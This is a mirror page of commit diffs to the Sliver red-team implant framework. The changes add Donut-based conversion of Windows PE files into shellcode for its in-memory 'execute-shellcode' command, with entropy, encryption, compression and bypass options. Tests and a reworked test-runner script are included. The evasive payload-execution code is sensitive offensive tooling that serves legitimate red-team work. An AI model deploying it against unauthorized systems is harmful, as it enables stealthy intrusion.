mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
10
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
82d979436b | ||
|
|
d2632e75bd | ||
|
|
a55831fb44 | ||
|
|
39d4edec43 | ||
|
|
bbdb08e7a4 | ||
|
|
39b488bd25 | ||
|
|
e7b8a24534 | ||
|
|
17b9d611f8 | ||
|
|
ed9075d065 | ||
|
|
1f7221933d |
No files matched your search
@@ -26,7 +26,7 @@ K := $(foreach exec,$(EXECUTABLES),\
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 24
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 25
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
|
||||
|
||||
@@ -114,6 +114,14 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
|
||||
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
|
||||
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
|
||||
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
|
||||
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
|
||||
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
|
||||
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
|
||||
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
|
||||
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
|
||||
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
|
||||
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
|
||||
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
@@ -20,27 +20,44 @@ package exec
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
wasmdonut "github.com/sliverarmory/wasm-donut"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultExecuteShellcodeDonutEntropy = wasmdonut.DonutEntropyNone
|
||||
defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
|
||||
defaultExecuteShellcodeDonutExitOpt = wasmdonut.DonutExitThread
|
||||
defaultExecuteShellcodeDonutBypass = wasmdonut.DonutBypassContinue
|
||||
defaultExecuteShellcodeDonutHeaders = wasmdonut.DonutHeadersOverwrite
|
||||
imageFileDLLMask = 0x2000
|
||||
)
|
||||
|
||||
// ExecuteShellcodeCmd - Execute shellcode in-memory.
|
||||
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
targetName := activeTargetName(session, beacon)
|
||||
targetOS := activeTargetOS(session, beacon)
|
||||
targetArch := activeTargetArch(session, beacon)
|
||||
|
||||
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
|
||||
interactive, _ := cmd.Flags().GetBool("interactive")
|
||||
@@ -60,6 +77,27 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
|
||||
shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
|
||||
if shouldConvertPE {
|
||||
if targetOS != "windows" {
|
||||
con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Converting PE input to shellcode ...\n")
|
||||
shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
@@ -96,7 +134,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
@@ -135,6 +173,186 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
|
||||
}
|
||||
}
|
||||
|
||||
func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
|
||||
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
|
||||
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
|
||||
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
|
||||
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
|
||||
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
|
||||
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
|
||||
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
|
||||
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
|
||||
|
||||
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
|
||||
cmd.Flags().Changed("shellcode-compress") ||
|
||||
cmd.Flags().Changed("shellcode-exitopt") ||
|
||||
cmd.Flags().Changed("shellcode-bypass") ||
|
||||
cmd.Flags().Changed("shellcode-headers") ||
|
||||
cmd.Flags().Changed("shellcode-thread") ||
|
||||
cmd.Flags().Changed("shellcode-unicode") ||
|
||||
cmd.Flags().Changed("shellcode-oep")
|
||||
|
||||
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
|
||||
}
|
||||
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
|
||||
}
|
||||
if shellcodeBypass < 1 || shellcodeBypass > 3 {
|
||||
return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
|
||||
}
|
||||
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
|
||||
return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
|
||||
}
|
||||
|
||||
shellcodeCompress := uint32(1)
|
||||
if shellcodeCompressEnabled {
|
||||
shellcodeCompress = 2
|
||||
}
|
||||
|
||||
return &clientpb.ShellcodeConfig{
|
||||
Entropy: shellcodeEntropy,
|
||||
Compress: shellcodeCompress,
|
||||
ExitOpt: shellcodeExitOpt,
|
||||
Bypass: shellcodeBypass,
|
||||
Headers: shellcodeHeaders,
|
||||
Thread: shellcodeThread,
|
||||
Unicode: shellcodeUnicode,
|
||||
OEP: shellcodeOEP,
|
||||
}, anyChanged, nil
|
||||
}
|
||||
|
||||
func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
|
||||
ext := strings.ToLower(filepath.Ext(shellcodePath))
|
||||
isPEByExt := ext == ".exe" || ext == ".dll"
|
||||
return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
|
||||
}
|
||||
|
||||
func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.GetName()
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.GetName()
|
||||
}
|
||||
return "target"
|
||||
}
|
||||
|
||||
func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return strings.ToLower(session.GetOS())
|
||||
}
|
||||
if beacon != nil {
|
||||
return strings.ToLower(beacon.GetOS())
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
if session != nil {
|
||||
return session.GetArch()
|
||||
}
|
||||
if beacon != nil {
|
||||
return beacon.GetArch()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
type executeShellcodeDonutOptions struct {
|
||||
entropy int
|
||||
compress int
|
||||
exitOpt int
|
||||
bypass int
|
||||
headers int
|
||||
thread bool
|
||||
unicode bool
|
||||
oep uint32
|
||||
}
|
||||
|
||||
func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
|
||||
opts := executeShellcodeDonutOptions{
|
||||
entropy: defaultExecuteShellcodeDonutEntropy,
|
||||
compress: defaultExecuteShellcodeDonutCompress,
|
||||
exitOpt: defaultExecuteShellcodeDonutExitOpt,
|
||||
bypass: defaultExecuteShellcodeDonutBypass,
|
||||
headers: defaultExecuteShellcodeDonutHeaders,
|
||||
}
|
||||
if config == nil {
|
||||
return opts
|
||||
}
|
||||
if config.Entropy >= 1 && config.Entropy <= 3 {
|
||||
opts.entropy = int(config.Entropy)
|
||||
}
|
||||
if config.Compress >= 1 && config.Compress <= 2 {
|
||||
opts.compress = int(config.Compress)
|
||||
}
|
||||
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
|
||||
opts.exitOpt = int(config.ExitOpt)
|
||||
}
|
||||
if config.Bypass >= 1 && config.Bypass <= 3 {
|
||||
opts.bypass = int(config.Bypass)
|
||||
}
|
||||
if config.Headers >= 1 && config.Headers <= 2 {
|
||||
opts.headers = int(config.Headers)
|
||||
}
|
||||
opts.thread = config.Thread
|
||||
opts.unicode = config.Unicode
|
||||
if config.OEP > 0 {
|
||||
opts.oep = config.OEP
|
||||
}
|
||||
return opts
|
||||
}
|
||||
|
||||
func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
|
||||
peFile, err := pe.NewFile(bytes.NewReader(data))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
|
||||
ext := ".exe"
|
||||
if isDLL {
|
||||
ext = ".dll"
|
||||
}
|
||||
opts := normalizeExecuteShellcodeDonutConfig(config)
|
||||
result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
|
||||
Ext: ext,
|
||||
Arch: getExecuteShellcodeDonutArch(arch),
|
||||
Bypass: opts.bypass,
|
||||
Headers: opts.headers,
|
||||
Entropy: opts.entropy,
|
||||
Compress: opts.compress,
|
||||
ExitOpt: opts.exitOpt,
|
||||
Thread: opts.thread,
|
||||
Unicode: opts.unicode,
|
||||
OEP: opts.oep,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return addExecuteShellcodeStackCheck(result.Loader), nil
|
||||
}
|
||||
|
||||
func getExecuteShellcodeDonutArch(arch string) int {
|
||||
donutArch := wasmdonut.DonutArchX84
|
||||
switch strings.ToLower(arch) {
|
||||
case "x32", "x86", "386":
|
||||
donutArch = wasmdonut.DonutArchX86
|
||||
case "x64", "amd64":
|
||||
donutArch = wasmdonut.DonutArchX64
|
||||
case "x84":
|
||||
donutArch = wasmdonut.DonutArchX84
|
||||
}
|
||||
return donutArch
|
||||
}
|
||||
|
||||
func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
|
||||
stackCheckPrologue := []byte{
|
||||
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
|
||||
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
|
||||
}
|
||||
return append(stackCheckPrologue, shellcode...)
|
||||
}
|
||||
|
||||
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
|
||||
// Check active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
package exec
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
|
||||
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||
}
|
||||
if changed {
|
||||
t.Fatalf("expected changed=false with defaults")
|
||||
}
|
||||
if cfg == nil {
|
||||
t.Fatalf("expected non-nil config")
|
||||
}
|
||||
if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
|
||||
t.Fatalf("unexpected defaults: %+v", cfg)
|
||||
}
|
||||
if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
|
||||
t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
|
||||
t.Fatalf("set shellcode-entropy: %v", err)
|
||||
}
|
||||
if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
|
||||
t.Fatalf("set shellcode-compress: %v", err)
|
||||
}
|
||||
if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
|
||||
t.Fatalf("set shellcode-thread: %v", err)
|
||||
}
|
||||
|
||||
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
|
||||
if err != nil {
|
||||
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
|
||||
}
|
||||
if !changed {
|
||||
t.Fatalf("expected changed=true")
|
||||
}
|
||||
if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
|
||||
t.Fatalf("unexpected changed config: %+v", cfg)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseExecuteShellcodeFlagsValidation(t *testing.T) {
|
||||
cmd := newExecuteShellcodeFlagsTestCommand(t)
|
||||
if err := cmd.Flags().Set("shellcode-bypass", "9"); err != nil {
|
||||
t.Fatalf("set shellcode-bypass: %v", err)
|
||||
}
|
||||
if _, _, err := parseExecuteShellcodeFlags(cmd); err == nil {
|
||||
t.Fatalf("expected validation error for shellcode-bypass")
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldConvertExecuteShellcodePE(t *testing.T) {
|
||||
testCases := []struct {
|
||||
name string
|
||||
path string
|
||||
flagsChanged bool
|
||||
wantConvert bool
|
||||
wantDLL bool
|
||||
}{
|
||||
{name: "exe by extension", path: "/tmp/payload.exe", flagsChanged: false, wantConvert: true, wantDLL: false},
|
||||
{name: "dll by extension", path: "/tmp/payload.dll", flagsChanged: false, wantConvert: true, wantDLL: true},
|
||||
{name: "raw shellcode", path: "/tmp/payload.bin", flagsChanged: false, wantConvert: false, wantDLL: false},
|
||||
{name: "flags force conversion", path: "/tmp/payload.bin", flagsChanged: true, wantConvert: true, wantDLL: false},
|
||||
}
|
||||
for _, tc := range testCases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
gotConvert, gotDLL := shouldConvertExecuteShellcodePE(tc.path, tc.flagsChanged)
|
||||
if gotConvert != tc.wantConvert || gotDLL != tc.wantDLL {
|
||||
t.Fatalf("unexpected result convert=%v dll=%v, expected convert=%v dll=%v", gotConvert, gotDLL, tc.wantConvert, tc.wantDLL)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func newExecuteShellcodeFlagsTestCommand(t *testing.T) *cobra.Command {
|
||||
t.Helper()
|
||||
|
||||
cmd := &cobra.Command{Use: "execute-shellcode"}
|
||||
cmd.Flags().Uint32("shellcode-entropy", 1, "")
|
||||
cmd.Flags().Bool("shellcode-compress", false, "")
|
||||
cmd.Flags().Uint32("shellcode-exitopt", 1, "")
|
||||
cmd.Flags().Uint32("shellcode-bypass", 3, "")
|
||||
cmd.Flags().Uint32("shellcode-headers", 1, "")
|
||||
cmd.Flags().Bool("shellcode-thread", false, "")
|
||||
cmd.Flags().Bool("shellcode-unicode", false, "")
|
||||
cmd.Flags().Uint32("shellcode-oep", 0, "")
|
||||
return cmd
|
||||
}
|
||||
@@ -437,8 +437,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
||||
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
|
||||
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
|
||||
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
|
||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode or PE]
|
||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process. On Windows targets, PE input can be
|
||||
converted with Donut before execution and tuned with [[.Bold]]--shellcode-*[[.Normal]] flags.
|
||||
|
||||
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
|
||||
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
|
||||
|
||||
@@ -41,7 +41,7 @@ func TestWebsiteRemoveConfirmationPrompt(t *testing.T) {
|
||||
|
||||
func TestWebsiteRemoveSuccessMessage(t *testing.T) {
|
||||
got := websiteRemoveSuccessMessage("test", 2)
|
||||
want := "removed test and 2 content items"
|
||||
want := "Removed test and 2 content items"
|
||||
if got != want {
|
||||
t.Fatalf("unexpected message: got %q want %q", got, want)
|
||||
}
|
||||
|
||||
+202
-221
@@ -1,6 +1,5 @@
|
||||
#!/bin/bash
|
||||
|
||||
|
||||
# Sliver Implant Framework
|
||||
# Copyright (C) 2019 Bishop Fox
|
||||
|
||||
@@ -17,11 +16,14 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
|
||||
set -u
|
||||
set -o pipefail
|
||||
|
||||
SKIP_GENERATE=0
|
||||
for arg in "$@"; do
|
||||
if [ "$arg" = "--skip-generate" ]; then
|
||||
SKIP_GENERATE=1
|
||||
fi
|
||||
if [ "$arg" = "--skip-generate" ]; then
|
||||
SKIP_GENERATE=1
|
||||
fi
|
||||
done
|
||||
|
||||
echo "----------------------------------------------------------------"
|
||||
@@ -30,229 +32,208 @@ echo " Recommended to only run on 16+ CPU cores and 32Gb+ RAM"
|
||||
echo "----------------------------------------------------------------"
|
||||
TAGS=osusergo,netgo,go_sqlite
|
||||
|
||||
TEST_TMP_ROOT="$(mktemp -d)"
|
||||
if [ ! -d "$TEST_TMP_ROOT" ]; then
|
||||
echo "Failed to create temporary test root directory" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
cleanup() {
|
||||
local status=$?
|
||||
trap - EXIT INT TERM
|
||||
|
||||
# Some long-running tests (notably in server/generate) may still have child
|
||||
# build processes touching files under the temp root when cleanup starts.
|
||||
if command -v pkill >/dev/null 2>&1; then
|
||||
pkill -TERM -P $$ 2>/dev/null || true
|
||||
pkill -TERM -f "$TEST_TMP_ROOT" 2>/dev/null || true
|
||||
sleep 1
|
||||
pkill -KILL -P $$ 2>/dev/null || true
|
||||
pkill -KILL -f "$TEST_TMP_ROOT" 2>/dev/null || true
|
||||
fi
|
||||
wait 2>/dev/null || true
|
||||
|
||||
for _ in 1 2 3 4 5; do
|
||||
rm -rf "$TEST_TMP_ROOT" 2>/dev/null || true
|
||||
if [ ! -e "$TEST_TMP_ROOT" ]; then
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
|
||||
if [ -e "$TEST_TMP_ROOT" ]; then
|
||||
echo "WARNING: Failed to fully clean temp dir: $TEST_TMP_ROOT" >&2
|
||||
fi
|
||||
|
||||
exit "$status"
|
||||
}
|
||||
trap cleanup EXIT INT TERM
|
||||
|
||||
export SLIVER_ROOT_DIR="$TEST_TMP_ROOT/sliver"
|
||||
export SLIVER_CLIENT_DIR="$TEST_TMP_ROOT/sliver-client"
|
||||
export SLIVER_CLIENT_ROOT_DIR="$SLIVER_CLIENT_DIR" # legacy compatibility
|
||||
export HOME="$TEST_TMP_ROOT/home"
|
||||
export XDG_CONFIG_HOME="$TEST_TMP_ROOT/xdg-config"
|
||||
export XDG_CACHE_HOME="$TEST_TMP_ROOT/xdg-cache"
|
||||
export XDG_DATA_HOME="$TEST_TMP_ROOT/xdg-data"
|
||||
export TMPDIR="$TEST_TMP_ROOT/tmp"
|
||||
export TMP="$TMPDIR"
|
||||
export TEMP="$TMPDIR"
|
||||
export GOCACHE="$TEST_TMP_ROOT/go-cache"
|
||||
export GOTMPDIR="$TEST_TMP_ROOT/go-tmp"
|
||||
export GOFLAGS="${GOFLAGS:-} -mod=vendor"
|
||||
|
||||
mkdir -p \
|
||||
"$SLIVER_ROOT_DIR" \
|
||||
"$SLIVER_CLIENT_DIR" \
|
||||
"$HOME" \
|
||||
"$XDG_CONFIG_HOME" \
|
||||
"$XDG_CACHE_HOME" \
|
||||
"$XDG_DATA_HOME" \
|
||||
"$TMPDIR" \
|
||||
"$GOCACHE" \
|
||||
"$GOTMPDIR"
|
||||
export PATH="$SLIVER_ROOT_DIR/go/bin:$PATH"
|
||||
|
||||
echo "Using isolated temp directories:"
|
||||
echo " SLIVER_ROOT_DIR=$SLIVER_ROOT_DIR"
|
||||
echo " SLIVER_CLIENT_DIR=$SLIVER_CLIENT_DIR"
|
||||
|
||||
print_failure_logs() {
|
||||
cat "$SLIVER_ROOT_DIR/logs/sliver.log" 2>/dev/null || true
|
||||
}
|
||||
|
||||
run_test_cmd() {
|
||||
local name="$1"
|
||||
shift
|
||||
|
||||
echo
|
||||
echo "==> $name"
|
||||
if "$@"; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
print_failure_logs
|
||||
return 1
|
||||
}
|
||||
|
||||
should_skip_package() {
|
||||
local pkg="$1"
|
||||
local tags="${2:-}"
|
||||
local go_list_cmd=(go list -e -f '{{if .Error}}{{.Error}}{{end}}')
|
||||
if [ -n "$tags" ]; then
|
||||
go_list_cmd+=("-tags=$tags")
|
||||
fi
|
||||
go_list_cmd+=("$pkg")
|
||||
|
||||
local go_list_error
|
||||
go_list_error="$("${go_list_cmd[@]}" 2>/dev/null || true)"
|
||||
if [[ "$go_list_error" == *"build constraints exclude all Go files"* ]]; then
|
||||
echo
|
||||
echo "==> Skipping $pkg (unsupported on current platform)"
|
||||
return 0
|
||||
fi
|
||||
return 1
|
||||
}
|
||||
|
||||
collect_test_dirs() {
|
||||
if command -v rg >/dev/null 2>&1; then
|
||||
rg --files -g '*_test.go'
|
||||
else
|
||||
find client implant server util -type f -name '*_test.go' -print
|
||||
fi
|
||||
}
|
||||
|
||||
unpack_server_assets() {
|
||||
if [ -x "./sliver-server" ]; then
|
||||
if ./sliver-server unpack --force; then
|
||||
return 0
|
||||
fi
|
||||
echo "sliver-server unpack failed, falling back to go run ./server unpack --force"
|
||||
fi
|
||||
go run -tags=server,go_sqlite ./server unpack --force
|
||||
}
|
||||
|
||||
run_test_cmd "unpack server assets" unpack_server_assets || exit 1
|
||||
|
||||
TEST_DIRS=()
|
||||
while IFS= read -r test_dir; do
|
||||
TEST_DIRS+=("$test_dir")
|
||||
done < <(collect_test_dirs | xargs -n1 dirname | sort -u)
|
||||
|
||||
CLIENT_TEST_PKGS=()
|
||||
IMPLANT_TEST_PKGS=()
|
||||
SERVER_UTIL_TEST_PKGS=()
|
||||
|
||||
for test_dir in "${TEST_DIRS[@]}"; do
|
||||
pkg="./$test_dir"
|
||||
case "$pkg" in
|
||||
./server/c2 | ./server/generate)
|
||||
# handled separately below
|
||||
;;
|
||||
./client/*)
|
||||
CLIENT_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
./implant/*)
|
||||
IMPLANT_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
./server/* | ./util*)
|
||||
SERVER_UTIL_TEST_PKGS+=("$pkg")
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
## Client
|
||||
|
||||
# client / command / alias
|
||||
if go test -tags=client,$TAGS ./client/command/alias ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# client / command / extensions
|
||||
if go test -tags=client,$TAGS ./client/command/extensions ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# client / command / generate
|
||||
if go test -tags=client,$TAGS ./client/command/generate ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# client / credentials
|
||||
if go test -tags=client,$TAGS ./client/credentials ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## Util
|
||||
|
||||
# util
|
||||
if go test -tags=server,$TAGS ./util ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# util / encoders
|
||||
if go test -tags=server,$TAGS ./util/encoders/basex ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
if go test -tags=server,$TAGS ./util/encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# util / minisign
|
||||
if go test -tags=server,$TAGS ./util/minisign ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
for pkg in "${CLIENT_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg" "client,$TAGS"; then
|
||||
continue
|
||||
fi
|
||||
run_test_cmd "$pkg" go test -tags="client,$TAGS" "$pkg" || exit 1
|
||||
done
|
||||
|
||||
## Implant
|
||||
for pkg in "${IMPLANT_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg"; then
|
||||
continue
|
||||
fi
|
||||
run_test_cmd "$pkg" go test "$pkg" || exit 1
|
||||
done
|
||||
|
||||
# implant / sliver / extension
|
||||
if go test ./implant/sliver/extension ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
## Server + Util
|
||||
for pkg in "${SERVER_UTIL_TEST_PKGS[@]}"; do
|
||||
if should_skip_package "$pkg" "server,$TAGS"; then
|
||||
continue
|
||||
fi
|
||||
case "$pkg" in
|
||||
./server/assets/traffic-encoders | ./server/encoders)
|
||||
run_test_cmd "$pkg" go test -timeout 10m -tags="server,$TAGS" "$pkg" || exit 1
|
||||
;;
|
||||
./server/rpc)
|
||||
run_test_cmd "$pkg" go test -vet=off -timeout 30m -tags="server,$TAGS" "$pkg" || exit 1
|
||||
;;
|
||||
*)
|
||||
run_test_cmd "$pkg" go test -tags="server,$TAGS" "$pkg" || exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
# implant / sliver / transports / dnsclient
|
||||
if go test ./implant/sliver/transports/dnsclient ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
## Server c2 (unit + e2e)
|
||||
run_test_cmd "./server/c2" go test -tags="server,$TAGS" ./server/c2 || exit 1
|
||||
run_test_cmd "./server/c2 (e2e yamux)" go test -tags="server,$TAGS,sliver_e2e" ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 || exit 1
|
||||
run_test_cmd "./server/c2 (e2e dns)" go test -tags="server,$TAGS,sliver_e2e" ./server/c2 -run 'TestDNS_' -count=1 || exit 1
|
||||
|
||||
# implant / sliver / transports / wireguard
|
||||
if go test ./implant/sliver/transports/wireguard ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
## Server
|
||||
|
||||
# server / assets / traffic encoders
|
||||
if go test -timeout 10m -tags=server,$TAGS ./server/assets/traffic-encoders ; then
|
||||
:
|
||||
else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / encoders
|
||||
